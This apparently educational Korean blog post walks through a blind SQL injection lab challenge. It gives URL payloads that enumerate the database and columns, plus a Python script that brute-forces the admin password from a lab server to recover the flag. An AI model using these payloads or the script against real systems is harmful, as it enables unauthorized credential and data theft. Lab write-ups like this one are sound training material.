베지밀

[웹] Blind SQL Injection 본문

교육, 프로젝트/시큐리티 아카데미 4기

[웹] Blind SQL Injection

vegimil 2024. 7. 12. 13:06

 

Simple SQL 문제

id와 pw에 값이 채워져있고, id가 admin이면 admin check!를 반환한다.

즉, 쿼리 값이 참이면 결과를 반환해주는 것

 

 

Blind SQL Injection

SQL 취약점은 존재하지만 쿼리의 결과를 알 수 없을 때, 즉 참/거짓만 알 수 있을 때 사용하는 것.

ex) 로그인 기능에서 SQLi 발생했지만 로그인 성공/실패 여부만 알 수 있음

 

 

1. 데이터베이스 길이 확인

?id=admin&password=123' or length(database())>1 -- -

DB 길이는 5인것을 알 수 있다.

 

2. 데이터베이스 이름 찾기

?id=admin&password=123' or ascii(substr(database(),1,1))>97 -- -

substr(database(),2,1) -> 데이터베이스 이름의 두번째 글자 (시작 위치2, 가져올 글자1개)

아스키코드 대소비교를 통해 빠르게 찾을 수 있다.

DB이름 = prob1

 

3. users 테이블의 첫 번재 컬럼 길이 찾기

id=admin&password=123' or length((select column_name from information_schema.columns where table_name='users' limit 1,1))>1 -- -

limit 0,1 -> 0번째 인덱스에서 1개의 값을 가져온다.

첫번째 컬럼 이름의 값을 가져와서 length를 통해 비교한 결과

users테이블 첫번째 컬럼 이름의 길이는 3

 

4. 첫번째 컬럼 이름 찾기

?id=admin&password=123' or ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 1))=110 -- -

select문으로 첫번째 컬럼의 이름을 가져오고, substr 함수로 한글자씩 가져온다.

substr의 두번째 인자가 글자의 위치

 

이런식으로 조회하면

첫번째 컬럼 = num

두번째 컬럼 = id

세번째 컬럼 = password

인 것을 알 수 있다.

 

그럼 users테이블의 password컬럼에서 id값이 admin인 값을 가져와보자.

 

5. password 값의 길이 가져오기

?id=admin&password=123' or length((select password from users where id='admin'))>1 -- -

비밀번호의 길이는 15인 것을 알 수 있다.

 

6. password 값 가져오기

위에서는 값의 길이가 3, 5 수준이어서 일일히 구했지만 15는 노가다이므로...

파이썬 코드를 작성해서 풀었다.

import requests

def extract_password():
    password = ''
    # password의 각 문자의 ASCII 값을 확인합니다.
    for position in range(1, 16):  # 패스워드 길이를 1부터 15까지 가정
        for ascii_code in range(33, 128):  # 출력 가능한 아스키 코드 범위
            url = "http://13.209.81.224:6060/index.php?id=admin&password=123' or ascii(substr((select password from users where id='admin'),{0},1))={1} -- -".format(position, ascii_code)
            res = requests.get(url)
            if "admin check!" in res.text:
                password += chr(ascii_code)
                print("Position {0}: Character {1} with ASCII {2}".format(position, chr(ascii_code), ascii_code))
    print(password)

# 메인 함수 실행
extract_password()

패스워드는 cvfbhfynlrjoi33인 것을 알 수 있다.

 

 

플래그 = flag{cvfbhfynlrjoi33}

 

 

 

Blind SQL Injection을 통해서 단계별로 데이터베이스에서 값을 가져오고 조회하는 작업을 해보았다.

마지막에 파이썬 코드를 생각해서 푸니까 쉽고 간편했다.

처음부터 이렇게 할걸